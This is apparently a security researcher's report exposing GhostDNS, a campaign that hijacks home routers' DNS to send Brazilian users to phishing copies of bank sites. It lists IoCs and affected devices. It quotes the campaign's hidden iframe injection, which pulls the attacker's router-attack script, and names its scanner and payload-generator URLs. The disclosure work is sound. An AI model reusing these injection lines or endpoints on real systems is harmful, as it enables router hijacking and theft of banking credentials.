70+ different types of home routers(all together 100,000+) are being hijacked by GhostDNS
<!--kg-card-begin: markdown--><p>note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)</p>
<h3 id="backgroundintroduction">Background introduction</h3>
<p>DNSchanger is not something new and was quite active years ago [<a href="https://en.wikipedia.org/wiki/DNSChanger">1]</a>, we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article.</p>
<p>With that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[<a href="https://blog.radware.com/security/2018/08/iot-hackers-trick-brazilian-bank-customers/">2]</a>. Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions.</p>
<p>Just like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[<a href="https://en.wikipedia.org/wiki/DNSChanger">3]</a> through the corresponding DNS configuration interface.</p>
<p>But this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages.</p>
<p>Furthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS.</p>
<p>Currently the campaign mainly focuses on Brazil, we have counted <strong>100k+</strong> infected router IP addresses (87.8% located in Brazil), and <strong>70+</strong> router/firmware have been involved, and <strong>50+</strong> domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials.</p>
<h3 id="ghostdnssystem">GhostDNS system</h3>
<p>The GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation.</p>
<p><a href="__GHOST_URL__/content/images/2018/10/ghostdns.png"><img src="__GHOST_URL__/content/images/2018/10/ghostdns2.png" /></a><center>Figure 1: Flow chart of GhostDNS（click to enlarge image）</center></p>
<h4 id="dnschangersystem">DNSChanger System</h4>
<p>The DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes <strong>100+</strong> attack scripts altogether, affecting <strong>70+</strong> different routers.</p>
<p>The three DNSChanger sub-modules<br>
<a href="__GHOST_URL__/content/images/2018/09/dnschanger.jpg"><img src="__GHOST_URL__/content/images/2018/09/dnschanger-3.jpg" /></a></p>
<h4 id="theshelldnschangersubmodule">The Shell DNSChanger sub-module</h4>
<p>The Shell DNSChanger was first available around June 2016. It is basically a combination of <strong>25</strong> attack Shell scripts, which works on <strong>21</strong> routers/firmware.</p>
<p>This sub-module is only being used lightly, with limited deployment by the attacker.</p>
<p>This sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil.</p>
<p>After the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server.</p>
<p>The following is the key code structure of Shell DNSChanger</p>
<pre><code class="language-bash">├── brasil
├── changers
│   ├── 3com1
│   ├── aprouter
│   ├── dlink1
│   ├── dlink2
│   ├── dlink3
│   ├── dlink4
│   ├── dlink5
│   ├── dlink6
│   ├── dlink7
│   ├── dlink7_
│   ├── globaltronic
│   ├── huawei
│   ├── intelbrass
│   ├── kaiomy
│   ├── mikrotik
│   ├── oiwtech
│   ├── ralink
│   ├── realtek
│   ├── speedstream
│   ├── speedtouch
│   ├── speedtouch2
│   ├── tplink1
│   ├── tplink2
│   ├── tplink3
│   ├── triz
│   └── viking
├── configs
├── logs
├── mdetector
├── mikrotik
├── ralink
├── src
│   ├── BasicAuth.cpp
│   ├── Makefile
│   ├── Net-Telnet-3.03.tar.gz
│   ├── base64.cpp
│   ├── config.cpp
│   ├── fscan.cpp
│   ├── md5.cpp
│   ├── md5.h
│   ├── sockets.cpp
│   ├── sslscanner.h
│   ├── ulimit
│   └── webforms.cpp
├── .fscan
└── .timeout
</code></pre>
<p>The following are affected routers/firmwares that we have identified</p>
<pre><code class="language-bash">3COM OCR-812
AP-ROUTER
D-LINK
D-LINK DSL-2640T
D-LINK DSL-2740R
D-LINK DSL-500
D-LINK DSL-500G/DSL-502G
Huawei SmartAX MT880a
Intelbras WRN240-1
Kaiomy Router
MikroTiK Routers
OIWTECH OIW-2415CPE
Ralink Routers
SpeedStream
SpeedTouch
Tenda
TP-LINK TD-W8901G/TD-W8961ND/TD-8816
TP-LINK TD-W8960N
TP-LINK TL-WR740N
TRIZ TZ5500E/VIKING
VIKING/DSLINK 200 U/E
</code></pre>
<h4 id="thejsdnschangersubmodule">The Js DNSChanger sub-module</h4>
<p>Js DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System.</p>
<p>For example, a Js DNSChanger code on the home page of  <code>35.236.25.247</code> (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube).</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://193.70.95.89/2021/&quot;  frameborder=&quot;0&quot; height=&quot;0&quot; scrolling=&quot;no&quot; title=&quot;no&quot; width=&quot;0&quot;&gt;&lt;/iframe&gt;
</code></pre>
<p>The attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator.</p>
<pre><code>#Scanner
http://193.70.95.89/2021/index2.php
</code></pre>
<p>The payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme.</p>
<pre><code>#Payload generator
http://193.70.95.89/2021/api.init.php?d=192.168.1.1
</code></pre>
<p>The attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface.</p>
<p>The following is part of the code structure of JS DNSChanger:</p>
<pre><code class="language-bash">├── api.init.php
├── index.php
└── index2.php
</code></pre>
<p>The following are affected routers/firmwares that we identified</p>
<pre><code class="language-bash">A-Link WL54AP3 / WL54AP2
D-Link DIR-905L
Roteador GWR-120
Secutech RiS Firmware
SMARTGATE
TP-Link TL-WR841N / TL-WR841ND
</code></pre>
<p>The following is the IP range it scans</p>
<pre><code>192.168.0.1
192.168.15.1
192.168.1.1
192.168.25.1
192.168.100.1
10.0.0.1
192.168.2.1
</code></pre>
<h4 id="thepyphpdnschangersubmodule">The PyPhp DNSChanger sub-module</h4>
<p>PyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts:</p>
<p>Web API. Through which attacker can control and schedule to run the program conveniently.</p>
<p>Scanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker.</p>
<p>Information of the Shodan API key is as follow:</p>
<pre><code class="language-bash">API key: LI****Lg9P8****X5iy****AaRO
Created: 2017-11-03T16:55:13.425000
Plan: EDU
</code></pre>
<p>Attack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing.<br>
Interestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot.</p>
<p><img src="__GHOST_URL__/content/images/2018/09/log.png" alt="log" loading="lazy"></p>
<p>The code structure of PyPhp DNSChanger</p>
<pre><code class="language-bash">├── api
├── application
│   ├── class
│   │   ├── routers
│   │   │   ├── routers.28ZE.php
│   │   │   ├── routers.AN5506-02-B.php
│   │   │   ├── routers.ELSYSCPE-2N.php
│   │   │   ├── routers.PQWS2401.php
│   │   │   ├── routers.TLWR840N.php
│   │   │   ├── routers.WR941ND.php
│   │   │   ├── routers.airos.php
│   │   │   ├── routers.c3t.php
│   │   │   ├── routers.cisconew.php
│   │   │   ├── routers.dlink.905.php
│   │   │   ├── routers.dlink.dir600.php
│   │   │   ├── routers.dlink.dir610.php
│   │   │   ├── routers.dlink.dir610o.php
│   │   │   ├── routers.dlink.dir615.php
│   │   │   ├── routers.fiberhome.php
│   │   │   ├── routers.fiberhomenew.php
│   │   │   ├── routers.ghotanboa.php
│   │   │   ├── routers.goahed.php
│   │   │   ├── routers.greatek.php
│   │   │   ├── routers.greatek2.php
│   │   │   ├── routers.gwr120.php
│   │   │   ├── routers.huawei.php
│   │   │   ├── routers.intelbras.php
│   │   │   ├── routers.intelbras.wrn240.php
│   │   │   ├── routers.intelbras.wrn300.php
│   │   │   ├── routers.intelbrasN150.php
│   │   │   ├── routers.linkone.php
│   │   │   ├── routers.livetimdslbasic.php
│   │   │   ├── routers.livetimsagecom.php
│   │   │   ├── routers.mikrotkit.php
│   │   │   ├── routers.multilaser.php
│   │   │   ├── routers.oiwtech.php
│   │   │   ├── routers.othermodels.php
│   │   │   ├── routers.sharecenter.php
│   │   │   ├── routers.thomson.php
│   │   │   ├── routers.timdsl.php
│   │   │   ├── routers.timvmg3312.php
│   │   │   ├── routers.wirelessnrouter.php
│   │   │   ├── routers.wrn1043nd.php
│   │   │   ├── routers.wrn342.php
│   │   │   ├── routers.wrn720n.php
│   │   │   ├── routers.wrn740n.php
│   │   │   ├── routers.wrn749n.php
│   │   │   ├── routers.wrn840n.php
│   │   │   ├── routers.wrn841n.php
│   │   │   └── routers.wrn845n.php
│   │   ├── routers_py
│   │   │   ├── WR300build8333.py
│   │   │   ├── install.sh
│   │   │   ├── router.ArcherC7.py
│   │   │   ├── router.FiberLink101.py
│   │   │   ├── router.GEPONONU.py
│   │   │   ├── router.PNRT150M.py
│   │   │   ├── router.QBR1041WU.py
│   │   │   ├── router.RoteadorWirelessN300Mbps.py
│   │   │   ├── router.SAPIDORB1830.py
│   │   │   ├── router.TENDAWirelessNBroadbandrouter.py
│   │   │   ├── router.TLWR840N.py
│   │   │   ├── router.TLWR841N.py
│   │   │   ├── router.TLWR849N.py
│   │   │   ├── router.TPLINKWR841N.py
│   │   │   ├── router.TechnicLanWAR54GSv2.py
│   │   │   ├── router.TendaWirelessRouter.py
│   │   │   ├── router.WEBManagementSystem.py
│   │   │   ├── router.WLANBroadbandRouter.py
│   │   │   ├── router.WebUI.py
│   │   │   ├── router.WirelessNWRN150R.py
│   │   │   ├── router.WirelessRouter.py
│   │   │   ├── router.WiveNGMTrouterfirmware.py
│   │   │   ├── router.ZXHNH208N.py
│   │   │   └── scan
│   │   │       ├── __init__.py
│   │   │       └── password.py
│   │   ├── scanner
│   │   │   └── class.scanner.utils.php
│   │   ├── shodan
│   │   │   ├── class.shodan.php
│   │   │   └── cookie.txt
│   │   ├── utils
│   │   │   ├── class.colors.php
│   │   │   ├── class.utils.php
│   │   │   └── class.webrequest.php
│   │   └── web
│   │       ├── blockedtitles
│   │       ├── class.web.api.php
│   │       └── class.web.interface.php
│   ├── config.bruteforce.php
│   ├── config.init.php
│   ├── config.layout.php
│   ├── config.rangelist - bkp.php
│   ├── config.rangelist.php
│   ├── config.routers.php
│   ├── config.scanner.php
│   ├── launchers
│   │   └── attack
│   │       └── launch
│   └── logs
├── logs
│   ├── change.log
│   └── gravar.php
├── parse_logs
└── scanner
    ├── api.php
    ├── extrator.php
    ├── ranged_scanner.php
    ├── rodar.php
    ├── rodarlista.php
    ├── shodan.php
    └── teste.py
</code></pre>
<p>The affected router/firmware we have identified</p>
<pre><code>AirRouter AirOS
Antena PQWS2401
C3-TECH Router
Cisco Router
D-Link DIR-600
D-Link DIR-610
D-Link DIR-615
D-Link DIR-905L
D-Link ShareCenter
Elsys CPE-2n
Fiberhome
Fiberhome AN5506-02-B
Fiberlink 101
GPON ONU
Greatek
GWR 120
Huawei
Intelbras WRN 150
Intelbras WRN 240
Intelbras WRN 300
LINKONE
MikroTik
Multilaser
OIWTECH
PFTP-WR300
QBR-1041 WU
Roteador PNRT150M
Roteador Wireless N 300Mbps
Roteador WRN150
Roteador WRN342
Sapido RB-1830
TECHNIC LAN WAR-54GS
Tenda Wireless-N Broadband Router
Thomson
TP-Link Archer C7
TP-Link TL-WR1043ND
TP-Link TL-WR720N
TP-Link TL-WR740N
TP-Link TL-WR749N
TP-Link TL-WR840N
TP-Link TL-WR841N
TP-Link TL-WR845N
TP-Link TL-WR849N
TP-Link TL-WR941ND
Wive-NG routers firmware
ZXHN H208N
Zyxel VMG3312
</code></pre>
<h4 id="thewebadminsystem">The Web Admin System</h4>
<p>We also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system.</p>
<p><img src="__GHOST_URL__/content/images/2018/09/webadmin.png" alt="log" loading="lazy"></p>
<p>We notice a special label &quot;Elite Priv8&quot; on the login page of the Web Admin System.  After some googling, we found the same description on a post titled &quot;testador santander banking 2.1 versão beta elitepriv8&quot; on a Brazilian security forum[<a href="http://www.forum-hacker.com.br/archive/index.php/t-537.html">4]</a>.</p>
<p>The following is the IP address of Web Admin Server</p>
<pre><code>198.50.222.139	&quot;AS16276 OVH SAS&quot;
</code></pre>
<h4 id="theroguednssystem">The Rogue DNS System</h4>
<p>We have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira.</p>
<p>Below is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0</p>
<pre><code>{&quot;domain&quot;: &quot;avira.com.br&quot;, &quot;rdata&quot;: [&quot;0.0.0.0&quot;]}
{&quot;domain&quot;: &quot;banco.bradesco&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]}
{&quot;domain&quot;: &quot;bancobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;bancodobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;bb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;bradesco.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;bradesconetempresa.b.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;bradescopj.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;br.wordpress.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;caixa.gov.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;citibank.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;clickconta.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;contasuper.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;credicard.com.br&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]}
{&quot;domain&quot;: &quot;hostgator.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;itau.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;itaupersonnalite.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;kinghost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;locaweb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;netflix.com.br&quot;, &quot;rdata&quot;: [&quot;35.237.127.167&quot;]}
{&quot;domain&quot;: &quot;netflix.com&quot;, &quot;rdata&quot;: [&quot;35.237.127.167&quot;]}
{&quot;domain&quot;: &quot;painelhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;santander.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;santandernet.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;sicredi.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;superdigital.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;umbler.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;uolhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.banco.bradesco&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]}
{&quot;domain&quot;: &quot;www.bancobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.bb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.bradesco.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.bradesconetempresa.b.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.bradescopj.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.br.wordpress.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.caixa.gov.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.citibank.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.credicard.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.hostgator.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.itau.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.kinghost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.locaweb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.netflix.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.netflix.net&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.painelhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.santander.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.santandernet.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.sicredi.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.superdigital.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.umbler.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.uolhost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
{&quot;domain&quot;: &quot;www.uolhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]}
</code></pre>
<p>Below is the list of rogue DNS servers we have discovered.</p>
<pre><code>139.60.162.188	   &quot;AS395839 HOSTKEY&quot;
139.60.162.201	   &quot;AS395839 HOSTKEY&quot;
144.22.104.185	   &quot;AS7160 Oracle Corporation&quot;
173.82.168.104	   &quot;AS35916 MULTACOM CORPORATION&quot;
18.223.2.98	      &quot;AS16509 Amazon.com, Inc.&quot;
185.70.186.4	     &quot;AS57043 Hostkey B.v.&quot;
192.99.187.193	   &quot;AS16276 OVH SAS&quot;
198.27.121.241	   &quot;AS16276 OVH SAS&quot;
200.196.240.104  	&quot;AS11419 Telefonica Data S.A.&quot;
200.196.240.120	  &quot;AS11419 Telefonica Data S.A.&quot;
35.185.9.164	     &quot;AS15169 Google LLC&quot;
80.211.37.41	     &quot;AS31034 Aruba S.p.A.&quot;
</code></pre>
<h4 id="thephishingwebsystem">The Phishing Web System</h4>
<p>The rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname.</p>
<p>Probing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites.</p>
<pre><code>md5, url, hostname, pishing web api
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']
492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']
5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']
97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']
9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']
d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']
fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']
ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']
</code></pre>
<p>Below is the IP addresses of the phishing webserver.</p>
<pre><code>193.70.95.89	  &quot;AS16276 OVH SAS&quot;
198.27.121.241	&quot;AS16276 OVH SAS&quot;
35.237.127.167	&quot;AS15169 Google LLC&quot;
</code></pre>
<h3 id="statisticsofinfectedrouters">Statistics of Infected Routers</h3>
<p>Based on the logs of GhostDNS from 09-21 to 09-27, we have observed 100k+ infected router IP addresses (87.8% located in Brazil), involving 70+ router/firmwares. Due to the dynamic updates of router IP address, the actual number of infected devices should be slightly different.</p>
<p><img src="__GHOST_URL__/content/images/2018/09/victims.png" alt="GhostDNS" loading="lazy"></p>
<p>Below is the country list of infected IP addresses.</p>
<pre><code>BR 91605
BO 7644
AR 2581
SX 339
MX 265
VE 219
US 191
UY 189
CL 138
CO 134
GT 80
EC 71
GY 70
RU 61
RO 51
PY 38
PA 35
UA 34
HN 33
BG 33
</code></pre>
<p>Below is the list of web page titles from infected routers.</p>
<pre><code>28ZE
ADSL2 PLUS
AIROS
AN550602B
BaseDashboard
C3T Routers
DIR600 1
DIR-615 DLINK
Dlink DIR-610
Dlink DIR-611
DLINK DIR-905L
DSL Router
DSL Router - GKM 1220
ELSYS CPE-2N
FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520
FiberLink101
GoAhead-Boa
GoAhead-Webs
GoAhead-Webs Routers
GoAhed 302
GOTHAN
GREATEK
GWR-120
KP8696X
Link One
Mini_httpd
Multilaser Router
OIWTECH
Proqualit Router
Realtek Semiconductor
Realtek Semiconductor [Title]
Roteador ADSL
Roteador Wireless KLR 300N
Roteador Wireless N 150Mbps
Roteador Wireless N 150 Mbps
Roteador Wireless N 300 Mbps
Roteador Wireless N 300 Mbps [ LinkOne ] 
Roteador Wireless N 300 Mbps [Link One]
Roteador Wireless N ( MultiLaser )
Roteador Wireless N [ MultiLaser ]
TENDA
TimDSL
TL-WR740N / TL-WR741ND
TL-WR840N
TL-WR849N
TP-LINK Nano WR702N
TP-LINK Roteador Wireless
TP-LINK Roteador Wireless N WR741ND
TP-LINK TL-WR941HP
TP-LINK Wireless AP WA5210G
TP-LINK Wireless Lite N Router WR740N
TP-LINK Wireless Lite N Router WR749N
TP-LINK Wireless N Gigabit Router WR1043ND
TP-LINK Wireless N Router WR841N/WR841ND
TP-LINK Wireless N Router WR845N
TP-LINK Wireless N Router WR941ND
TP-LINK Wireless Router
TP-LINK WR340G
TP-LINK WR720N
TP-LINK WR740N
TP-LINK WR741N
TP-LINK WR743ND
TP-LINK WR840N
TP-LINK WR841HP
TP-LINK WR841N
TP-LINK WR940N
TP-LINK WR941N
TP-LINK WR949N
Wireless-N Router
Wireless Router
WLAN AP Webserver
ZNID
</code></pre>
<h3 id="summary">Summary</h3>
<p>The GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process.</p>
<p>We recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal.</p>
<p>We also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.</p>
